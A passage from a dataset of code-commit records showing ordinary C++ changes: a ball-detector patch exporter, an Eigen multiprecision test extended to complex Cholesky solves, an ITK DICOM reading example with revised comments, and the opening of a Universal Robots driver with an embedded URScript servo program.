for(unsigned int x=0; x < BallCandidates::Patch::SIZE; x++)\n    {\n      str << (int) p.data[x*BallCandidates::Patch::SIZE + y];\n      if(x < BallCandidates::Patch::SIZE - 1)\n      {\n        str << \" \";\n      }\n    }\n    str << \"\\n\";\n  }\n  return str.str();\n}\n\nstd::string BallDetectorEvaluator::createPNG(const BallCandidates::Patch &p)\n{\n  cv::Mat wrappedImg(12, 12, CV_8UC1, (void*) p.data.data());\n\n  std::vector<uchar> buffer;\n\n  cv::imencode(\".png\", wrappedImg, buffer);\n\n  return std::string(buffer.begin(), buffer.end());\n}\n<|endoftext|>"}
{"text":"<commit_before>#include \"main.h\"\n#include <Eigen\/MPRealSupport>\n#include <Eigen\/LU>\n#include <Eigen\/Eigenvalues>\n#include <sstream>\n\nusing namespace mpfr;\nusing namespace Eigen;\n\nvoid test_mpreal_support()\n{\n  \/\/ set precision to 256 bits (double has only 53 bits)\n  mpreal::set_default_prec(256);\n  typedef Matrix<mpreal,Eigen::Dynamic,Eigen::Dynamic> MatrixXmp;\n\n  std::cerr << \"epsilon =         \" << NumTraits<mpreal>::epsilon() << \"\\n\";\n  std::cerr << \"dummy_precision = \" << NumTraits<mpreal>::dummy_precision() << \"\\n\";\n  std::cerr << \"highest =         \" << NumTraits<mpreal>::highest() << \"\\n\";\n  std::cerr << \"lowest =          \" << NumTraits<mpreal>::lowest() << \"\\n\";\n  std::cerr << \"digits10 =        \" << NumTraits<mpreal>::digits10() << \"\\n\";\n\n  for(int i = 0; i < g_repeat; i++) {\n    int s = Eigen::internal::random<int>(1,100);\n    MatrixXmp A = MatrixXmp::Random(s,s);\n    MatrixXmp B = MatrixXmp::Random(s,s);\n    MatrixXmp S = A.adjoint() * A;\n    MatrixXmp X;\n    \n    \/\/ Basic stuffs\n    VERIFY_IS_APPROX(A.real(), A);\n    VERIFY(Eigen::internal::isApprox(A.array().abs2().sum(), A.squaredNorm()));\n    VERIFY_IS_APPROX(A.array().exp(),         exp(A.array()));\n    VERIFY_IS_APPROX(A.array().abs2().sqrt(), A.array().abs());\n    VERIFY_IS_APPROX(A.array().sin(),         sin(A.array()));\n    VERIFY_IS_APPROX(A.array().cos(),         cos(A.array()));\n\n    \/\/ Cholesky\n    X = S.selfadjointView<Lower>().llt().solve(B);\n    VERIFY_IS_APPROX((S.selfadjointView<Lower>()*X).eval(),B);\n    \n    \/\/ partial LU\n    X = A.lu().solve(B);\n    VERIFY_IS_APPROX((A*X).eval(),B);\n\n    \/\/ symmetric eigenvalues\n    SelfAdjointEigenSolver<MatrixXmp> eig(S);\n    VERIFY_IS_EQUAL(eig.info(), Success);\n    VERIFY( (S.selfadjointView<Lower>() * eig.eigenvectors()).isApprox(eig.eigenvectors() * eig.eigenvalues().asDiagonal(), NumTraits<mpreal>::dummy_precision()*1e3) );\n  }\n  \n  {\n    MatrixXmp A(8,3); A.setRandom();\n    \/\/ test output (interesting things happen in this code)\n    std::stringstream stream;\n    stream << A;\n  }\n}\n<commit_msg>Extend mpreal unit test to check LLT with complexes.<commit_after>#include \"main.h\"\n#include <Eigen\/MPRealSupport>\n#include <Eigen\/LU>\n#include <Eigen\/Eigenvalues>\n#include <sstream>\n\nusing namespace mpfr;\nusing namespace Eigen;\n\nvoid test_mpreal_support()\n{\n  \/\/ set precision to 256 bits (double has only 53 bits)\n  mpreal::set_default_prec(256);\n  typedef Matrix<mpreal,Eigen::Dynamic,Eigen::Dynamic> MatrixXmp;\n  typedef Matrix<std::complex<mpreal>,Eigen::Dynamic,Eigen::Dynamic> MatrixXcmp;\n\n  std::cerr << \"epsilon =         \" << NumTraits<mpreal>::epsilon() << \"\\n\";\n  std::cerr << \"dummy_precision = \" << NumTraits<mpreal>::dummy_precision() << \"\\n\";\n  std::cerr << \"highest =         \" << NumTraits<mpreal>::highest() << \"\\n\";\n  std::cerr << \"lowest =          \" << NumTraits<mpreal>::lowest() << \"\\n\";\n  std::cerr << \"digits10 =        \" << NumTraits<mpreal>::digits10() << \"\\n\";\n\n  for(int i = 0; i < g_repeat; i++) {\n    int s = Eigen::internal::random<int>(1,100);\n    MatrixXmp A = MatrixXmp::Random(s,s);\n    MatrixXmp B = MatrixXmp::Random(s,s);\n    MatrixXmp S = A.adjoint() * A;\n    MatrixXmp X;\n    MatrixXcmp Ac = MatrixXcmp::Random(s,s);\n    MatrixXcmp Bc = MatrixXcmp::Random(s,s);\n    MatrixXcmp Sc = Ac.adjoint() * Ac;\n    MatrixXcmp Xc;\n    \n    \/\/ Basic stuffs\n    VERIFY_IS_APPROX(A.real(), A);\n    VERIFY(Eigen::internal::isApprox(A.array().abs2().sum(), A.squaredNorm()));\n    VERIFY_IS_APPROX(A.array().exp(),         exp(A.array()));\n    VERIFY_IS_APPROX(A.array().abs2().sqrt(), A.array().abs());\n    VERIFY_IS_APPROX(A.array().sin(),         sin(A.array()));\n    VERIFY_IS_APPROX(A.array().cos(),         cos(A.array()));\n\n    \/\/ Cholesky\n    X = S.selfadjointView<Lower>().llt().solve(B);\n    VERIFY_IS_APPROX((S.selfadjointView<Lower>()*X).eval(),B);\n\n    Xc = Sc.selfadjointView<Lower>().llt().solve(Bc);\n    VERIFY_IS_APPROX((Sc.selfadjointView<Lower>()*Xc).eval(),Bc);\n    \n    \/\/ partial LU\n    X = A.lu().solve(B);\n    VERIFY_IS_APPROX((A*X).eval(),B);\n\n    \/\/ symmetric eigenvalues\n    SelfAdjointEigenSolver<MatrixXmp> eig(S);\n    VERIFY_IS_EQUAL(eig.info(), Success);\n    VERIFY( (S.selfadjointView<Lower>() * eig.eigenvectors()).isApprox(eig.eigenvectors() * eig.eigenvalues().asDiagonal(), NumTraits<mpreal>::dummy_precision()*1e3) );\n  }\n  \n  {\n    MatrixXmp A(8,3); A.setRandom();\n    \/\/ test output (interesting things happen in this code)\n    std::stringstream stream;\n    stream << A;\n  }\n}\n<|endoftext|>"}
{"text":"<commit_before>\/*=========================================================================\n\n  Program:   Insight Segmentation & Registration Toolkit\n  Module:    DicomSeriesReadImageWrite2.cxx\n  Language:  C++\n  Date:      $Date$\n  Version:   $Revision$\n\n  Copyright (c) Insight Software Consortium. All rights reserved.\n  See ITKCopyright.txt or http:\/\/www.itk.org\/HTML\/Copyright.htm for details.\n\n     This software is distributed WITHOUT ANY WARRANTY; without even \n     the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR \n     PURPOSE.  See the above copyright notices for more information.\n\n=========================================================================*\/\n#if defined(_MSC_VER)\n#pragma warning ( disable : 4786 )\n#endif\n\n\/\/  Software Guide : BeginLatex\n\/\/\n\/\/  Probably the most common representation of datasets in clinical\n\/\/  applications is the one that uses sets of DICOM slices in order to compose\n\/\/  tridimensional images. This is the case for CT, MRI and PET scanners. It is\n\/\/  very common therefore for image analysts to have to process volumetric\n\/\/  images that are stored in the form of a set of DICOM files belonging to a\n\/\/  common DICOM series. \n\/\/\n\/\/  The following example illustrates how to use ITK functionalities in order\n\/\/  to read a DICOM series into a volume and then save this volume in another\n\/\/  file format.\n\/\/\n\/\/  The example begins by including the appropriate headers. In particular we\n\/\/  will need the GDCMImageIO object in order to have access to the\n\/\/  capabilities of the GDCM library for reading DICOM files, and the\n\/\/  GDCMSeriesFileNames object for generating the lists of filenames\n\/\/  identifying the slices of a common volumetric dataset.\n\/\/\n\/\/  \\index{itk::ImageSeriesReader!header}\n\/\/  \\index{itk::GDCMImageIO!header}\n\/\/  \\index{itk::GDCMSeriesFileNames!header}\n\/\/  \\index{itk::ImageFileWriter!header}\n\/\/\n\/\/  Software Guide : EndLatex \n\n\/\/ Software Guide : BeginCodeSnippet\n#include \"itkGDCMImageIO.h\"\n#include \"itkGDCMSeriesFileNames.h\"\n#include \"itkImageSeriesReader.h\"\n#include \"itkImageFileWriter.h\"\n\/\/ Software Guide : EndCodeSnippet\n\n\n\nint main( int argc, char* argv[] )\n{\n\n  if( argc < 3 )\n    {\n    std::cerr << \"Usage: \" << std::endl;\n    std::cerr << argv[0] << \" DicomDirectory  outputFileName  [seriesName]\" << std::endl;\n    return EXIT_FAILURE;\n    }\n\n\n\n\n\/\/ Software Guide : BeginLatex\n\/\/ \n\/\/ We define the pixel type and dimension of the image to be read. In this\n\/\/ particular case, the dimensionality of the image is 3, and we assume a\n\/\/ \\code{signed short} pixel type that is commonly used for X-Rays CT scanners.\n\/\/ \n\/\/ Software Guide : EndLatex\n\n\/\/ Software Guide : BeginCodeSnippet\n  typedef signed short    PixelType;\n  const unsigned int      Dimension = 3;\n\n  typedef itk::Image< PixelType, Dimension >         ImageType;\n\/\/ Software Guide : EndCodeSnippet\n\n\n\n\n\/\/ Software Guide : BeginLatex\n\/\/ \n\/\/ We use the image type for instantiating the type of the series reader and\n\/\/ for constructing one object of its type.\n\/\/\n\/\/ Software Guide : EndLatex\n\n\/\/ Software Guide : BeginCodeSnippet\n  typedef itk::ImageSeriesReader< ImageType >        ReaderType;\n  ReaderType::Pointer reader = ReaderType::New();\n\/\/ Software Guide : EndCodeSnippet\n\n\n\n\/\/ Software Guide : BeginLatex\n\/\/ \n\/\/ A GDCMImageIO object is created and connected to the reader. This object is\n\/\/ the one that is aware of the internal intricacies of the DICOM format. \n\/\/\n\/\/ Software Guide : EndLatex\n\n\/\/ Software Guide : BeginCodeSnippet\n  typedef itk::GDCMImageIO       ImageIOType;\n  ImageIOType::Pointer dicomIO = ImageIOType::New();\n  \n  reader->SetImageIO( dicomIO );\n\/\/ Software Guide : EndCodeSnippet\n\n\n\n\/\/ Software Guide : BeginLatex\n\/\/\n\/\/ Now we face one of the main challenges of the process of reading a DICOM\n\/\/ series. That is, to identify from a given directory the set of filenames\n\/\/ that belong together to the same volumetric image. Fortunately for us, GDCM\n\/\/ offers functionalities for solving this problem and we just need to invoke\n\/\/ those functionalities through an ITK class that encapsulates a communication\n\/\/ with GDCM classes. This ITK object is the GDCMSeriesFileNames. Conveniently\n\/\/ for us, we only need to pass to this class the name of the directory where\n\/\/ the DICOM slices are stored. This is done with the\n\/\/ \\code{SetInputDirectory()} method. The GDCMSeriesFileNames object will\n\/\/ explore the directory and will generate a sequence of filenames for DICOM\n\/\/ files for one study\/series. \n\/\/\n\/\/ \\index{itk::GDCMSeriesFileNames!SetInputDirectory()}\n\/\/\n\/\/ Software Guide : EndLatex\n\n\/\/ Software Guide : BeginCodeSnippet\n  typedef itk::GDCMSeriesFileNames NamesGeneratorType;\n  NamesGeneratorType::Pointer nameGenerator = NamesGeneratorType::New();\n\n  nameGenerator->SetDirectory( argv[1] );\n\/\/ Software Guide : EndCodeSnippet\n  \n\n  try\n    {\n    std::cout << std::endl << \"The directory: \" << std::endl;\n    std::cout << std::endl << argv[1] << std::endl << std::endl;\n    std::cout << \"Contains the following DICOM Series: \";\n    std::cout << std::endl << std::endl;\n\n\n    \n\/\/ Software Guide : BeginLatex\n\/\/ \n\/\/ The GDCMSeriesFileNames object first identifies the list of DICOM series\n\/\/ that are present in the given directory. We receive that list in a reference\n\/\/ to a container of strings and then we can do things like printing out all\n\/\/ the series identifiers that the generator had found. Since the process of\n\/\/ finding the series identifiers can potentially throw exceptions, it is\n\/\/ wise to put this code inside a try\/catch block.\n\/\/\n\/\/ Software Guide : EndLatex\n\n\/\/ Software Guide : BeginCodeSnippet\n    typedef std::vector< std::string >    SeriesIdContainer;\n    \n    const SeriesIdContainer & seriesUID = nameGenerator->GetSeriesUIDs();\n    \n    SeriesIdContainer::const_iterator seriesItr = seriesUID.begin();\n    SeriesIdContainer::const_iterator seriesEnd = seriesUID.end();\n    while( seriesItr != seriesEnd )\n      {\n      std::cout << seriesItr->c_str() << std::endl;\n      seriesItr++;\n      }\n\/\/ Software Guide : EndCodeSnippet\n  \n\n\n\/\/ Software Guide : BeginLatex\n\/\/ \n\/\/ Given that it is common to find multiple DICOM series in the same directory,\n\/\/ we must tell the GDCM classes what specific series do we want to read. In\n\/\/ this example we do this by checking first if the user has provided a series\n\/\/ identifier in the command line arguments. If no series identifier has been\n\/\/ passed, then we simply use the first series found during the exploration of\n\/\/ the directory.\n\/\/\n\/\/ Software Guide : EndLatex\n\n\/\/ Software Guide : BeginCodeSnippet\n    std::string seriesIdentifier;\n\n    if( argc > 3 ) \/\/ If no optional series identifier\n      {\n      seriesIdentifier = argv[3];\n      }\n    else\n      {\n      seriesIdentifier = seriesUID.begin()->c_str();\n      }\n\/\/ Software Guide : EndCodeSnippet\n\n\n    std::cout << std::endl << std::endl;\n    std::cout << \"Now reading series: \" << std::endl << std::endl;\n    std::cout << seriesIdentifier << std::endl;\n    std::cout << std::endl << std::endl;\n\n\n\n\n\/\/ Software Guide : BeginLatex\n\/\/ \n\/\/ We pass the series identifier to the name generator and ask for all the\n\/\/ filenames associated to that series. This list is returned in a container of\n\/\/ strings by the \\code{GetFileNames()} method. \n\/\/\n\/\/ \\index{itk::GDCMSeriesFileNames!GetFileNames()}\n\/\/ \n\/\/ Software Guide : EndLatex\n\n\/\/ Software Guide : BeginCodeSnippet\n    typedef std::vector< std::string >   FileNamesContainer;\n    FileNamesContainer fileNames;\n\n    fileNames = nameGenerator->GetFileNames( seriesIdentifier );\n\/\/ Software Guide : EndCodeSnippet\n\n\n\n\n\/\/ Software Guide : BeginLatex\n\/\/ \n\/\/\n\/\/ The list of filenames can now be passed to the \\doxygen{ImageSeriesReader}\n\/\/ using the \\code{SetFileNames()} method.\n\/\/  \n\/\/  \\index{itk::ImageSeriesReader!SetFileNames()}\n\/\/\n\/\/ Software Guide : EndLatex\n  \n\/\/ Software Guide : BeginCodeSnippet\n    reader->SetFileNames( fileNames );\n\/\/ Software Guide : EndCodeSnippet\n\n\n\n\n\n\/\/ Software Guide : BeginLatex\n\/\/ \n\/\/ Finally we can trigger the reading process by invoking the \\code{Update()}\n\/\/ method in the reader. This call as usual is placed inside a \\code{try\/catch}\n\/\/ block.\n\/\/\n\/\/ Software Guide : EndLatex\n\n\/\/ Software Guide : BeginCodeSnippet\n    try\n      {\n      reader->Update();\n      }\n    catch (itk::ExceptionObject &ex)\n      {\n      std::cout << ex << std::endl;\n      return EXIT_FAILURE;\n      }\n\/\/ Software Guide : EndCodeSnippet\n\n\n\/\/ Software Guide : BeginLatex\n\/\/ \n\/\/ At this point, we have a volumetric image in memory that we can access by\n\/\/ invoking the \\code{GetOutput()} method of the reader.\n\/\/\n\/\/ Software Guide : EndLatex\n\n\n\n\n\/\/ Software Guide : BeginLatex\n\/\/ \n\/\/ We proceed now to save the volumetric image in another file, as specified by\n\/\/ the user in the command line arguments of this program. Thanks to the\n\/\/ ImageIO factory mechanism, only the filename extension is needed to identify\n\/\/ the fileformat in this case.\n\/\/\n\/\/ Software Guide : EndLatex\n\n\/\/ Software Guide : BeginCodeSnippet    \n    typedef itk::ImageFileWriter< ImageType > WriterType;\n    WriterType::Pointer writer = WriterType::New();\n    \n    writer->SetFileName( argv[2] );\n\n    writer->SetInput( reader->GetOutput() );\n\/\/ Software Guide : EndCodeSnippet    \n\n    std::cout  << \"Writing the image as \" << std::endl << std::endl;\n    std::cout  << argv[2] << std::endl << std::endl;\n\n\n\/\/ Software Guide : BeginLatex\n\/\/ \n\/\/ The process of writing the image is initiated by invoking the\n\/\/ \\code{Update()} method of the writer.\n\/\/\n\/\/ Software Guide : EndLatex\n\n    try\n      {\n\/\/ Software Guide : BeginCodeSnippet    \n      writer->Update();\n\/\/ Software Guide : EndCodeSnippet    \n      }\n    catch (itk::ExceptionObject &ex)\n      {\n      std::cout << ex << std::endl;\n      return EXIT_FAILURE;\n      }\n    }\n  catch (itk::ExceptionObject &ex)\n    {\n      std::cout << ex << std::endl;\n    return EXIT_FAILURE;\n    }\n\n\n\n\/\/ Software Guide : BeginLatex\n\/\/ \n\/\/ Note that in addition to writing the volumetric image to a file we could\n\/\/ have used it as the input for any 3D processing pipeline. Keep in mind that\n\/\/ DICOM is simply a file format and a network protocol. Once the image data\n\/\/ has been loaded into memory, it behaves as any other volumetric dataset that\n\/\/ you could have loaded from any other file format. \n\/\/\n\/\/ Software Guide : EndLatex\n\n\n  return EXIT_SUCCESS;\n\n}\n<commit_msg>STYLE: Added \\doxygen for GDCMImageIO and GDCMFileNames.        Fixed comments regarding the use of SetInputDirectory and SetDirectory.        It is still ambiguous when one or the other should be used.<commit_after>\/*=========================================================================\n\n  Program:   Insight Segmentation & Registration Toolkit\n  Module:    DicomSeriesReadImageWrite2.cxx\n  Language:  C++\n  Date:      $Date$\n  Version:   $Revision$\n\n  Copyright (c) Insight Software Consortium. All rights reserved.\n  See ITKCopyright.txt or http:\/\/www.itk.org\/HTML\/Copyright.htm for details.\n\n     This software is distributed WITHOUT ANY WARRANTY; without even \n     the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR \n     PURPOSE.  See the above copyright notices for more information.\n\n=========================================================================*\/\n#if defined(_MSC_VER)\n#pragma warning ( disable : 4786 )\n#endif\n\n\/\/  Software Guide : BeginLatex\n\/\/\n\/\/  Probably the most common representation of datasets in clinical\n\/\/  applications is the one that uses sets of DICOM slices in order to compose\n\/\/  tridimensional images. This is the case for CT, MRI and PET scanners. It is\n\/\/  very common therefore for image analysts to have to process volumetric\n\/\/  images that are stored in the form of a set of DICOM files belonging to a\n\/\/  common DICOM series. \n\/\/\n\/\/  The following example illustrates how to use ITK functionalities in order\n\/\/  to read a DICOM series into a volume and then save this volume in another\n\/\/  file format.\n\/\/\n\/\/  The example begins by including the appropriate headers. In particular we\n\/\/  will need the \\doxygen{GDCMImageIO} object in order to have access to the\n\/\/  capabilities of the GDCM library for reading DICOM files, and the\n\/\/  \\doxygen{GDCMSeriesFileNames} object for generating the lists of filenames\n\/\/  identifying the slices of a common volumetric dataset.\n\/\/\n\/\/  \\index{itk::ImageSeriesReader!header}\n\/\/  \\index{itk::GDCMImageIO!header}\n\/\/  \\index{itk::GDCMSeriesFileNames!header}\n\/\/  \\index{itk::ImageFileWriter!header}\n\/\/\n\/\/  Software Guide : EndLatex \n\n\/\/ Software Guide : BeginCodeSnippet\n#include \"itkGDCMImageIO.h\"\n#include \"itkGDCMSeriesFileNames.h\"\n#include \"itkImageSeriesReader.h\"\n#include \"itkImageFileWriter.h\"\n\/\/ Software Guide : EndCodeSnippet\n\n\n\nint main( int argc, char* argv[] )\n{\n\n  if( argc < 3 )\n    {\n    std::cerr << \"Usage: \" << std::endl;\n    std::cerr << argv[0] << \" DicomDirectory  outputFileName  [seriesName]\" << std::endl;\n    return EXIT_FAILURE;\n    }\n\n\n\n\n\/\/ Software Guide : BeginLatex\n\/\/ \n\/\/ We define the pixel type and dimension of the image to be read. In this\n\/\/ particular case, the dimensionality of the image is 3, and we assume a\n\/\/ \\code{signed short} pixel type that is commonly used for X-Rays CT scanners.\n\/\/ \n\/\/ Software Guide : EndLatex\n\n\/\/ Software Guide : BeginCodeSnippet\n  typedef signed short    PixelType;\n  const unsigned int      Dimension = 3;\n\n  typedef itk::Image< PixelType, Dimension >         ImageType;\n\/\/ Software Guide : EndCodeSnippet\n\n\n\n\n\/\/ Software Guide : BeginLatex\n\/\/ \n\/\/ We use the image type for instantiating the type of the series reader and\n\/\/ for constructing one object of its type.\n\/\/\n\/\/ Software Guide : EndLatex\n\n\/\/ Software Guide : BeginCodeSnippet\n  typedef itk::ImageSeriesReader< ImageType >        ReaderType;\n  ReaderType::Pointer reader = ReaderType::New();\n\/\/ Software Guide : EndCodeSnippet\n\n\n\n\/\/ Software Guide : BeginLatex\n\/\/ \n\/\/ A GDCMImageIO object is created and connected to the reader. This object is\n\/\/ the one that is aware of the internal intricacies of the DICOM format. \n\/\/\n\/\/ Software Guide : EndLatex\n\n\/\/ Software Guide : BeginCodeSnippet\n  typedef itk::GDCMImageIO       ImageIOType;\n  ImageIOType::Pointer dicomIO = ImageIOType::New();\n  \n  reader->SetImageIO( dicomIO );\n\/\/ Software Guide : EndCodeSnippet\n\n\n\n\/\/ Software Guide : BeginLatex\n\/\/\n\/\/ Now we face one of the main challenges of the process of reading a DICOM\n\/\/ series. That is, to identify from a given directory the set of filenames\n\/\/ that belong together to the same volumetric image. Fortunately for us, GDCM\n\/\/ offers functionalities for solving this problem and we just need to invoke\n\/\/ those functionalities through an ITK class that encapsulates a communication\n\/\/ with GDCM classes. This ITK object is the GDCMSeriesFileNames. Conveniently\n\/\/ for us, we only need to pass to this class the name of the directory where\n\/\/ the DICOM slices are stored. This is done with the \\code{SetDirectory()}\n\/\/ method. The GDCMSeriesFileNames object will explore the directory and will\n\/\/ generate a sequence of filenames for DICOM files for one study\/series. \n\/\/\n\/\/ \\index{itk::GDCMSeriesFileNames!SetDirectory()}\n\/\/\n\/\/ Software Guide : EndLatex\n\n\/\/ Software Guide : BeginCodeSnippet\n  typedef itk::GDCMSeriesFileNames NamesGeneratorType;\n  NamesGeneratorType::Pointer nameGenerator = NamesGeneratorType::New();\n\n  nameGenerator->SetDirectory( argv[1] );\n\/\/ Software Guide : EndCodeSnippet\n  \n\n  try\n    {\n    std::cout << std::endl << \"The directory: \" << std::endl;\n    std::cout << std::endl << argv[1] << std::endl << std::endl;\n    std::cout << \"Contains the following DICOM Series: \";\n    std::cout << std::endl << std::endl;\n\n\n    \n\/\/ Software Guide : BeginLatex\n\/\/ \n\/\/ The GDCMSeriesFileNames object first identifies the list of DICOM series\n\/\/ that are present in the given directory. We receive that list in a reference\n\/\/ to a container of strings and then we can do things like printing out all\n\/\/ the series identifiers that the generator had found. Since the process of\n\/\/ finding the series identifiers can potentially throw exceptions, it is\n\/\/ wise to put this code inside a try\/catch block.\n\/\/\n\/\/ Software Guide : EndLatex\n\n\/\/ Software Guide : BeginCodeSnippet\n    typedef std::vector< std::string >    SeriesIdContainer;\n    \n    const SeriesIdContainer & seriesUID = nameGenerator->GetSeriesUIDs();\n    \n    SeriesIdContainer::const_iterator seriesItr = seriesUID.begin();\n    SeriesIdContainer::const_iterator seriesEnd = seriesUID.end();\n    while( seriesItr != seriesEnd )\n      {\n      std::cout << seriesItr->c_str() << std::endl;\n      seriesItr++;\n      }\n\/\/ Software Guide : EndCodeSnippet\n  \n\n\n\/\/ Software Guide : BeginLatex\n\/\/ \n\/\/ Given that it is common to find multiple DICOM series in the same directory,\n\/\/ we must tell the GDCM classes what specific series do we want to read. In\n\/\/ this example we do this by checking first if the user has provided a series\n\/\/ identifier in the command line arguments. If no series identifier has been\n\/\/ passed, then we simply use the first series found during the exploration of\n\/\/ the directory.\n\/\/\n\/\/ Software Guide : EndLatex\n\n\/\/ Software Guide : BeginCodeSnippet\n    std::string seriesIdentifier;\n\n    if( argc > 3 ) \/\/ If no optional series identifier\n      {\n      seriesIdentifier = argv[3];\n      }\n    else\n      {\n      seriesIdentifier = seriesUID.begin()->c_str();\n      }\n\/\/ Software Guide : EndCodeSnippet\n\n\n    std::cout << std::endl << std::endl;\n    std::cout << \"Now reading series: \" << std::endl << std::endl;\n    std::cout << seriesIdentifier << std::endl;\n    std::cout << std::endl << std::endl;\n\n\n\n\n\/\/ Software Guide : BeginLatex\n\/\/ \n\/\/ We pass the series identifier to the name generator and ask for all the\n\/\/ filenames associated to that series. This list is returned in a container of\n\/\/ strings by the \\code{GetFileNames()} method. \n\/\/\n\/\/ \\index{itk::GDCMSeriesFileNames!GetFileNames()}\n\/\/ \n\/\/ Software Guide : EndLatex\n\n\/\/ Software Guide : BeginCodeSnippet\n    typedef std::vector< std::string >   FileNamesContainer;\n    FileNamesContainer fileNames;\n\n    fileNames = nameGenerator->GetFileNames( seriesIdentifier );\n\/\/ Software Guide : EndCodeSnippet\n\n\n\n\n\/\/ Software Guide : BeginLatex\n\/\/ \n\/\/\n\/\/ The list of filenames can now be passed to the \\doxygen{ImageSeriesReader}\n\/\/ using the \\code{SetFileNames()} method.\n\/\/  \n\/\/  \\index{itk::ImageSeriesReader!SetFileNames()}\n\/\/\n\/\/ Software Guide : EndLatex\n  \n\/\/ Software Guide : BeginCodeSnippet\n    reader->SetFileNames( fileNames );\n\/\/ Software Guide : EndCodeSnippet\n\n\n\n\n\n\/\/ Software Guide : BeginLatex\n\/\/ \n\/\/ Finally we can trigger the reading process by invoking the \\code{Update()}\n\/\/ method in the reader. This call as usual is placed inside a \\code{try\/catch}\n\/\/ block.\n\/\/\n\/\/ Software Guide : EndLatex\n\n\/\/ Software Guide : BeginCodeSnippet\n    try\n      {\n      reader->Update();\n      }\n    catch (itk::ExceptionObject &ex)\n      {\n      std::cout << ex << std::endl;\n      return EXIT_FAILURE;\n      }\n\/\/ Software Guide : EndCodeSnippet\n\n\n\/\/ Software Guide : BeginLatex\n\/\/ \n\/\/ At this point, we have a volumetric image in memory that we can access by\n\/\/ invoking the \\code{GetOutput()} method of the reader.\n\/\/\n\/\/ Software Guide : EndLatex\n\n\n\n\n\/\/ Software Guide : BeginLatex\n\/\/ \n\/\/ We proceed now to save the volumetric image in another file, as specified by\n\/\/ the user in the command line arguments of this program. Thanks to the\n\/\/ ImageIO factory mechanism, only the filename extension is needed to identify\n\/\/ the fileformat in this case.\n\/\/\n\/\/ Software Guide : EndLatex\n\n\/\/ Software Guide : BeginCodeSnippet    \n    typedef itk::ImageFileWriter< ImageType > WriterType;\n    WriterType::Pointer writer = WriterType::New();\n    \n    writer->SetFileName( argv[2] );\n\n    writer->SetInput( reader->GetOutput() );\n\/\/ Software Guide : EndCodeSnippet    \n\n    std::cout  << \"Writing the image as \" << std::endl << std::endl;\n    std::cout  << argv[2] << std::endl << std::endl;\n\n\n\/\/ Software Guide : BeginLatex\n\/\/ \n\/\/ The process of writing the image is initiated by invoking the\n\/\/ \\code{Update()} method of the writer.\n\/\/\n\/\/ Software Guide : EndLatex\n\n    try\n      {\n\/\/ Software Guide : BeginCodeSnippet    \n      writer->Update();\n\/\/ Software Guide : EndCodeSnippet    \n      }\n    catch (itk::ExceptionObject &ex)\n      {\n      std::cout << ex << std::endl;\n      return EXIT_FAILURE;\n      }\n    }\n  catch (itk::ExceptionObject &ex)\n    {\n      std::cout << ex << std::endl;\n    return EXIT_FAILURE;\n    }\n\n\n\n\/\/ Software Guide : BeginLatex\n\/\/ \n\/\/ Note that in addition to writing the volumetric image to a file we could\n\/\/ have used it as the input for any 3D processing pipeline. Keep in mind that\n\/\/ DICOM is simply a file format and a network protocol. Once the image data\n\/\/ has been loaded into memory, it behaves as any other volumetric dataset that\n\/\/ you could have loaded from any other file format. \n\/\/\n\/\/ Software Guide : EndLatex\n\n\n  return EXIT_SUCCESS;\n\n}\n<|endoftext|>"}
{"text":"<commit_before>\/\/ this is for emacs file handling -*- mode: c++; indent-tabs-mode: nil -*-\n\n\/\/ -- BEGIN LICENSE BLOCK ----------------------------------------------\n\/\/ Copyright 2019 FZI Forschungszentrum Informatik\n\/\/\n\/\/ Licensed under the Apache License, Version 2.0 (the \"License\");\n\/\/ you may not use this file except in compliance with the License.\n\/\/ You may obtain a copy of the License at\n\/\/\n\/\/     http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n\/\/\n\/\/ Unless required by applicable law or agreed to in writing, software\n\/\/ distributed under the License is distributed on an \"AS IS\" BASIS,\n\/\/ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n\/\/ See the License for the specific language governing permissions and\n\/\/ limitations under the License.\n\/\/\n\/\/ Many parts from this (Most of the URScript program) comes from the ur_modern_driver\n\/\/ Copyright 2017, 2018 Simon Rasmussen (refactor)\n\/\/ Copyright 2015, 2016 Thomas Timm Andersen (original version)\n\/\/\n\/\/ -- END LICENSE BLOCK ------------------------------------------------\n\n\/\/----------------------------------------------------------------------\n\/*!\\file\n *\n * \\author  Felix Mauch mauch@fzi.de\n * \\date    2019-04-11\n *\n *\/\n\/\/----------------------------------------------------------------------\n\n#include \"ur_rtde_driver\/ur\/ur_driver.h\"\n#include <memory>\n\nnamespace ur_driver\n{\nstatic const int32_t MULT_JOINTSTATE_ = 1000000;\nstatic const std::string JOINT_STATE_REPLACE(\"{{JOINT_STATE_REPLACE}}\");\nstatic const std::string SERVO_J_REPLACE(\"{{SERVO_J_REPLACE}}\");\nstatic const std::string SERVER_IP_REPLACE(\"{{SERVER_IP_REPLACE}}\");\nstatic const std::string SERVER_PORT_REPLACE(\"{{SERVER_PORT_REPLACE}}\");\nstatic const std::string POSITION_PROGRAM = R\"(\ndef myProg():\n  global steptime = get_steptime()\n  textmsg(\"steptime=\", steptime)\n  MULT_jointstate = {{JOINT_STATE_REPLACE}}\n\n  SERVO_UNINITIALIZED = -1\n  SERVO_IDLE = 0\n  SERVO_RUNNING = 1\n  cmd_servo_state = SERVO_UNINITIALIZED\n  cmd_servo_q = get_actual_joint_positions()\n  cmd_servo_q_last = get_actual_joint_positions()\n  def set_servo_setpoint(q):\n    enter_critical\n    cmd_servo_state = SERVO_RUNNING\n    cmd_servo_q_last = cmd_servo_q\n    cmd_servo_q = q\n    exit_critical\n  end\n\n  def extrapolate():\n    enter_critical\n    diff = [cmd_servo_q[0] - cmd_servo_q_last[0], cmd_servo_q[1] - cmd_servo_q_last[1], cmd_servo_q[2] - cmd_servo_q_last[2], cmd_servo_q[3] - cmd_servo_q_last[3], cmd_servo_q[4] - cmd_servo_q_last[4], cmd_servo_q[5] - cmd_servo_q_last[5]]\n    cmd_servo_q_last = cmd_servo_q\n    cmd_servo_q = [cmd_servo_q[0] + diff[0], cmd_servo_q[1] + diff[1], cmd_servo_q[2] + diff[2], cmd_servo_q[3] + diff[3], cmd_servo_q[4] + diff[4], cmd_servo_q[5] + diff[5]]\n    exit_critical\n\n    return cmd_servo_q\n  end\n\n  thread servoThread():\n    state = SERVO_IDLE\n    while True:\n      enter_critical\n      q = cmd_servo_q\n      do_extrapolate = False\n      if (cmd_servo_state == SERVO_IDLE):\n        do_extrapolate = True\n      end\n      state = cmd_servo_state\n      